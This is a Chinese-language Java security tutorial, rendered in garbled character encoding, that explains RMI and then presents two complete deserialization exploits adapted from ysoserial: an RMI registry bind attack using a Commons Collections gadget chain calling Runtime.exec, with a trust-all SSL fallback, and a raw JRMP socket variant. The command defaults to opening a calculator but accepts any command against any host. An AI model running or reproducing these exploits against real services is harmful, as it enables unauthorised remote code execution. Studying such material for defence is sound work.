java安全(三)RMI
給個(gè)關(guān)注?寶兒!
給個(gè)關(guān)注?寶兒!
給個(gè)關(guān)注?寶兒!
關(guān)注公眾號(hào):b1gpig信息安全,文章推送不錯(cuò)過(guò)
1.RMI 是什么
RMI(Remote Method Invocation)即Java遠(yuǎn)程方法調(diào)用,RMI用于構(gòu)建分布式應(yīng)用程序,RMI實(shí)現(xiàn)了Java程序之間跨JVM的遠(yuǎn)程通信。
RMI底層通訊采用了Stub(運(yùn)行在客戶端)和Skeleton(運(yùn)行在服務(wù)端)機(jī)制,RMI調(diào)用遠(yuǎn)程方法的大致如下:
1.RMI客戶端在調(diào)用遠(yuǎn)程方法時(shí)會(huì)先創(chuàng)建2.Stub(sun.rmi.registry.RegistryImpl_Stub)。
Stub會(huì)將Remote對(duì)象傳遞給遠(yuǎn)程引用層(java.rmi.server.RemoteRef)并創(chuàng)建java.rmi.server.RemoteCall(遠(yuǎn)程調(diào)用)對(duì)象。
3.RemoteCall序列化RMI服務(wù)名稱、Remote對(duì)象。
4.RMI客戶端的遠(yuǎn)程引用層傳輸RemoteCall序列化后的請(qǐng)求信息通過(guò)Socket連接的方式傳輸?shù)絉MI服務(wù)端的遠(yuǎn)程引用層。
5.RMI服務(wù)端的遠(yuǎn)程引用層(sun.rmi.server.UnicastServerRef)收到請(qǐng)求會(huì)請(qǐng)求傳遞給6.Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)。
7.Skeleton調(diào)用RemoteCall反序列化RMI客戶端傳過(guò)來(lái)的序列化。
Skeleton處理客戶端請(qǐng)求:bind、list、lookup、rebind、unbind,如果是lookup則查找RMI服務(wù)名綁定的接口對(duì)象,序列化該對(duì)象并通過(guò)RemoteCall傳輸?shù)娇蛻舳恕?br /> 8.RMI客戶端反序列化服務(wù)端結(jié)果,獲取遠(yuǎn)程對(duì)象的引用。
9.RMI客戶端調(diào)用遠(yuǎn)程方法,RMI服務(wù)端反射調(diào)用RMI服務(wù)實(shí)現(xiàn)類的對(duì)應(yīng)方法并序列化執(zhí)行結(jié)果返回給客戶端。
10.RMI客戶端反序列化RMI遠(yuǎn)程方法調(diào)用結(jié)果。
Back
2.RMI遠(yuǎn)程方法調(diào)用測(cè)試
第一步我們需要先啟動(dòng)RMI服務(wù)端,并注冊(cè)服務(wù)。
RMI服務(wù)端注冊(cè)服務(wù)代碼:
package com.anbai.sec.rmi;import java.rmi.Naming; import java.rmi.registry.LocateRegistry;public class RMIServerTest {// RMI服務(wù)器IP地址public static final String RMI_HOST = "127.0.0.1";// RMI服務(wù)端口public static final int RMI_PORT = 9527;// RMI服務(wù)名稱public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/test";public static void main(String[] args) {try {// 注冊(cè)RMI端口LocateRegistry.createRegistry(RMI_PORT);// 綁定Remote對(duì)象Naming.bind(RMI_NAME, new RMITestImpl());System.out.println("RMI服務(wù)啟動(dòng)成功,服務(wù)地址:" + RMI_NAME);} catch (Exception e) {e.printStackTrace();}}}程序運(yùn)行結(jié)果:
copyRMI服務(wù)啟動(dòng)成功,服務(wù)地址:rmi://127.0.0.1:9527/testNaming.bind(RMI_NAME, new RMITestImpl())綁定的是服務(wù)端的一個(gè)類實(shí)例,RMI客戶端需要有這個(gè)實(shí)例的接口代碼(RMITestInterface.java),RMI客戶端調(diào)用服務(wù)器端的RMI服務(wù)時(shí)會(huì)返回這個(gè)服務(wù)所綁定的對(duì)象引用,RMI客戶端可以通過(guò)該引用對(duì)象調(diào)用遠(yuǎn)程的服務(wù)實(shí)現(xiàn)類的方法并獲取方法執(zhí)行結(jié)果。
RMITestInterface示例代碼:
package com.anbai.sec.rmi;import java.rmi.Remote; import java.rmi.RemoteException;/*** RMI測(cè)試接口*/ public interface RMITestInterface extends Remote {/*** RMI測(cè)試方法** @return 返回測(cè)試字符串*/String test() throws RemoteException;}這個(gè)區(qū)別于普通的接口調(diào)用,這個(gè)接口在RMI客戶端中沒(méi)有實(shí)現(xiàn)代碼,接口的實(shí)現(xiàn)代碼在RMI服務(wù)端。
服務(wù)端RMITestInterface實(shí)現(xiàn)代碼示例代碼:
package com.anbai.sec.rmi;import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject;public class RMITestImpl extends UnicastRemoteObject implements RMITestInterface {private static final long serialVersionUID = 1L;protected RMITestImpl() throws RemoteException {super();}/*** RMI測(cè)試方法** @return 返回測(cè)試字符串*/@Overridepublic String test() throws RemoteException {return "Hello RMI~";}}RMI客戶端示例代碼:
package com.anbai.sec.rmi;import java.rmi.Naming;import static com.anbai.sec.rmi.RMIServerTest.RMI_NAME;public class RMIClientTest {public static void main(String[] args) {try {// 查找遠(yuǎn)程RMI服務(wù)RMITestInterface rt = (RMITestInterface) Naming.lookup(RMI_NAME);// 調(diào)用遠(yuǎn)程接口RMITestInterface類的test方法String result = rt.test();// 輸出RMI方法調(diào)用結(jié)果System.out.println(result);} catch (Exception e) {e.printStackTrace();}} }程序運(yùn)行結(jié)果:
copyHello RMI~3. RMI反序列化漏洞
RMI通信中所有的對(duì)象都是通過(guò)Java序列化傳輸?shù)?#xff0c;在學(xué)習(xí)Java序列化機(jī)制的時(shí)候我們講到只要有Java對(duì)象反序列化操作就有可能有漏洞。
既然RMI使用了反序列化機(jī)制來(lái)傳輸Remote對(duì)象,那么可以通過(guò)構(gòu)建一個(gè)惡意的Remote對(duì)象,這個(gè)對(duì)象經(jīng)過(guò)序列化后傳輸?shù)椒?wù)器端,服務(wù)器端在反序列化時(shí)候就會(huì)觸發(fā)反序列化漏洞。
首先我們依舊使用上述com.anbai.sec.rmi.RMIServerTest的代碼,創(chuàng)建一個(gè)RMI服務(wù),然后我們來(lái)構(gòu)建一個(gè)惡意的Remote對(duì)象并通過(guò)bind請(qǐng)求發(fā)送給服務(wù)端。
RMI客戶端反序列化攻擊示例代碼:
package com.anbai.sec.rmi;import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;import javax.net.ssl.SSLContext; import javax.net.ssl.SSLSocketFactory; import javax.net.ssl.TrustManager; import javax.net.ssl.X509TrustManager; import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.net.Socket; import java.rmi.ConnectIOException; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.RMIClientSocketFactory; import java.security.cert.X509Certificate; import java.util.HashMap; import java.util.Map;import static com.anbai.sec.rmi.RMIServerTest.RMI_HOST; import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;/*** RMI反序列化漏洞利用,修改自ysoserial的RMIRegistryExploit:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/RMIRegistryExploit.java** @author yz*/ public class RMIExploit {// 定義AnnotationInvocationHandler類常量public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";/*** 信任SSL證書*/private static class TrustAllSSL implements X509TrustManager {private static final X509Certificate[] ANY_CA = {};public X509Certificate[] getAcceptedIssuers() {return ANY_CA;}public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }}/*** 創(chuàng)建支持SSL的RMI客戶端*/private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {public Socket createSocket(String host, int port) throws IOException {try {// 獲取SSLContext對(duì)象SSLContext ctx = SSLContext.getInstance("TLS");// 默認(rèn)信任服務(wù)器端SSLctx.init(null, new TrustManager[]{new TrustAllSSL()}, null);// 獲取SSL Socket連接工廠SSLSocketFactory factory = ctx.getSocketFactory();// 創(chuàng)建SSL連接return factory.createSocket(host, port);} catch (Exception e) {throw new IOException(e);}}}/*** 使用動(dòng)態(tài)代理生成基于InvokerTransformer/LazyMap的Payload** @param command 定義需要執(zhí)行的CMD* @return Payload* @throws Exception 生成Payload異常*/private static InvocationHandler genPayload(String command) throws Exception {// 創(chuàng)建Runtime.getRuntime.exec(cmd)調(diào)用鏈Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command})};// 創(chuàng)建ChainedTransformer調(diào)用鏈對(duì)象Transformer transformerChain = new ChainedTransformer(transformers);// 使用LazyMap創(chuàng)建一個(gè)含有惡意調(diào)用鏈的Transformer類的Map對(duì)象final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);// 獲取AnnotationInvocationHandler類對(duì)象Class clazz = Class.forName(ANN_INV_HANDLER_CLASS);// 獲取AnnotationInvocationHandler類的構(gòu)造方法Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);// 設(shè)置構(gòu)造方法的訪問(wèn)權(quán)限constructor.setAccessible(true);// 實(shí)例化AnnotationInvocationHandler,// 等價(jià)于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, lazyMap);InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);// 使用動(dòng)態(tài)代理創(chuàng)建出Map類型的Payloadfinal Map mapProxy2 = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, annHandler);// 實(shí)例化AnnotationInvocationHandler,// 等價(jià)于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, mapProxy2);return (InvocationHandler) constructor.newInstance(Override.class, mapProxy2);}/*** 執(zhí)行Payload** @param registry RMI Registry* @param command 需要執(zhí)行的命令* @throws Exception Payload執(zhí)行異常*/public static void exploit(final Registry registry, final String command) throws Exception {// 生成Payload動(dòng)態(tài)代理對(duì)象Object payload = genPayload(command);String name = "test" + System.nanoTime();// 創(chuàng)建一個(gè)含有Payload的惡意mapMap<String, Object> map = new HashMap();map.put(name, payload);// 獲取AnnotationInvocationHandler類對(duì)象Class clazz = Class.forName(ANN_INV_HANDLER_CLASS);// 獲取AnnotationInvocationHandler類的構(gòu)造方法Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);// 設(shè)置構(gòu)造方法的訪問(wèn)權(quán)限constructor.setAccessible(true);// 實(shí)例化AnnotationInvocationHandler,// 等價(jià)于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, map);InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, map);// 使用動(dòng)態(tài)代理創(chuàng)建出Remote類型的PayloadRemote remote = (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, annHandler);try {// 發(fā)送Payloadregistry.bind(name, remote);} catch (Throwable e) {e.printStackTrace();}}public static void main(String[] args) throws Exception {if (args.length == 0) {// 如果不指定連接參數(shù)默認(rèn)連接本地RMI服務(wù)args = new String[]{RMI_HOST, String.valueOf(RMI_PORT), "open -a Calculator.app"};}// 遠(yuǎn)程RMI服務(wù)IPfinal String host = args[0];// 遠(yuǎn)程RMI服務(wù)端口final int port = Integer.parseInt(args[1]);// 需要執(zhí)行的系統(tǒng)命令final String command = args[2];// 獲取遠(yuǎn)程Registry對(duì)象的引用Registry registry = LocateRegistry.getRegistry(host, port);try {// 獲取RMI服務(wù)注冊(cè)列表(主要是為了測(cè)試RMI連接是否正常)String[] regs = registry.list();for (String reg : regs) {System.out.println("RMI:" + reg);}} catch (ConnectIOException ex) {// 如果連接異常嘗試使用SSL建立SSL連接,忽略證書信任錯(cuò)誤,默認(rèn)信任SSL證書registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());}// 執(zhí)行payloadexploit(registry, command);}}程序執(zhí)行后將會(huì)在RMI服務(wù)端彈出計(jì)算器(僅Mac系統(tǒng),Windows自行修改命令為calc),RMIExploit程序執(zhí)行的流程大致如下:
使用LocateRegistry.getRegistry(host, port)創(chuàng)建一個(gè)RemoteStub對(duì)象。
構(gòu)建一個(gè)適用于Apache Commons Collections的惡意反序列化對(duì)象(使用的是LazyMap+AnnotationInvocationHandler組合方式)。
使用RemoteStub調(diào)用RMI服務(wù)端的bind指令,并傳入一個(gè)使用動(dòng)態(tài)代理創(chuàng)建出來(lái)的Remote類型的惡意AnnotationInvocationHandler對(duì)象到RMI服務(wù)端。
RMI服務(wù)端接受到bind請(qǐng)求后會(huì)反序列化我們構(gòu)建的惡意Remote對(duì)象從而觸發(fā)Apache Commons Collections漏洞的RCE。
RMI客戶端端bind序列化:
上圖可以看到我們構(gòu)建的惡意Remote對(duì)象會(huì)通過(guò)RemoteCall序列化然后通過(guò)RemoteRef發(fā)送到遠(yuǎn)程的RMI服務(wù)端。
RMI服務(wù)端bind反序列化:
具體的實(shí)現(xiàn)代碼在:sun.rmi.registry.RegistryImpl_Skel類的dispatch方法,其中的$param_Remote_2就是我們RMIExploit傳入的惡意Remote的序列化對(duì)象。
4.RMI-JRMP反序列化漏洞
JRMP接口的兩種常見(jiàn)實(shí)現(xiàn)方式:
1.JRMP協(xié)議(Java Remote Message Protocol),RMI專用的Java遠(yuǎn)程消息交換協(xié)議。
2.IIOP協(xié)議(Internet Inter-ORB Protocol) ,基于 CORBA 實(shí)現(xiàn)的對(duì)象請(qǐng)求代理協(xié)議。
由于RMI數(shù)據(jù)通信大量的使用了Java的對(duì)象反序列化,所以在使用RMI客戶端去攻擊RMI服務(wù)端時(shí)需要特別小心,如果本地RMI客戶端剛好符合反序列化攻擊的利用條件,那么RMI服務(wù)端返回一個(gè)惡意的反序列化攻擊包可能會(huì)導(dǎo)致我們被反向攻擊。
我們可以通過(guò)和RMI服務(wù)端建立Socket連接并使用RMI的JRMP協(xié)議發(fā)送惡意的序列化包,RMI服務(wù)端在處理JRMP消息時(shí)會(huì)反序列化消息對(duì)象,從而實(shí)現(xiàn)RCE。
JRMP客戶端反序列化攻擊示例代碼:
package com.anbai.sec.rmi;import sun.rmi.server.MarshalOutputStream; import sun.rmi.transport.TransportConstants;import java.io.DataOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.io.OutputStream; import java.net.Socket;import static com.anbai.sec.rmi.RMIServerTest.RMI_HOST; import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;/*** 利用RMI的JRMP協(xié)議發(fā)送惡意的序列化包攻擊示例,該示例采用Socket協(xié)議發(fā)送序列化數(shù)據(jù),不會(huì)反序列化RMI服務(wù)器端的數(shù)據(jù),* 所以不用擔(dān)心本地被RMI服務(wù)端通過(guò)構(gòu)建惡意數(shù)據(jù)包攻擊,示例程序修改自ysoserial的JRMPClient:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPClient.java*/ public class JRMPExploit {public static void main(String[] args) throws IOException {if (args.length == 0) {// 如果不指定連接參數(shù)默認(rèn)連接本地RMI服務(wù)args = new String[]{RMI_HOST, String.valueOf(RMI_PORT), "open -a Calculator.app"};}// 遠(yuǎn)程RMI服務(wù)IPfinal String host = args[0];// 遠(yuǎn)程RMI服務(wù)端口final int port = Integer.parseInt(args[1]);// 需要執(zhí)行的系統(tǒng)命令final String command = args[2];// Socket連接對(duì)象Socket socket = null;// Socket輸出流OutputStream out = null;try {// 創(chuàng)建惡意的Payload對(duì)象Object payloadObject = RMIExploit.genPayload(command);// 建立和遠(yuǎn)程RMI服務(wù)的Socket連接socket = new Socket(host, port);socket.setKeepAlive(true);socket.setTcpNoDelay(true);// 獲取Socket的輸出流對(duì)象out = socket.getOutputStream();// 將Socket的輸出流轉(zhuǎn)換成DataOutputStream對(duì)象DataOutputStream dos = new DataOutputStream(out);// 創(chuàng)建MarshalOutputStream對(duì)象ObjectOutputStream baos = new MarshalOutputStream(dos);// 向遠(yuǎn)程RMI服務(wù)端Socket寫入RMI協(xié)議并通過(guò)JRMP傳輸Payload序列化對(duì)象dos.writeInt(TransportConstants.Magic);// 魔數(shù)dos.writeShort(TransportConstants.Version);// 版本dos.writeByte(TransportConstants.SingleOpProtocol);// 協(xié)議類型dos.write(TransportConstants.Call);// RMI調(diào)用指令baos.writeLong(2); // DGCbaos.writeInt(0);baos.writeLong(0);baos.writeShort(0);baos.writeInt(1); // dirtybaos.writeLong(-669196253586618813L);// 接口Hash值// 寫入惡意的序列化對(duì)象baos.writeObject(payloadObject);dos.flush();} catch (Exception e) {e.printStackTrace();} finally {// 關(guān)閉Socket輸出流if (out != null) {out.close();}// 關(guān)閉Socket連接if (socket != null) {socket.close();}}}}測(cè)試流程同上面的RMIExploit,這里不再贅述。
總結(jié)
以上是生活随笔為你收集整理的java安全(三)RMI的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 身份证贷款能贷多少
- 下一篇: 花呗欠款700多逾期两年 打电话让还款